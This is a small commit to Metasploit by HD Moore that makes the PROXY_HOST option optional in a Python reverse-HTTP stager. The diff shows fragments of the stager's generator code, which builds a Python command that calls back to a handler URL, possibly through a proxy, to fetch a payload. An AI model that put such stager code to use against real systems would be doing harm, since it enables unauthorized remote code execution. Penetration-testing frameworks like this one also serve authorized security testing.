Don't mandate and default PROXY_HOST (miscopy from the proxy stager)

This commit is contained in:
HD Moore 2014-12-02 13:29:39 -06:00
parent a4df6d539f
commit 0601946830
1 changed files with 2 additions and 2 deletions

View File

@ -26,7 +26,7 @@ module Metasploit3
register_options(
[
OptString.new('PROXY_HOST', [true, "The proxy server's IP address", "127.0.0.1"]),
OptString.new('PROXY_HOST', [false, "The proxy server's IP address"]),
OptPort.new('PROXY_PORT', [true, "The proxy port to connect to", 8080 ]),
], Msf::Handler::ReverseHttp)
end
@ -49,7 +49,7 @@ module Metasploit3
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
cmd = "import sys\n"
if datastore['PROXY_HOST'].blank?
if datastore['PROXY_HOST'].to_s == ''
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = "http://#{datastore['PROXY_HOST']}:#{datastore['PROXY_PORT']}"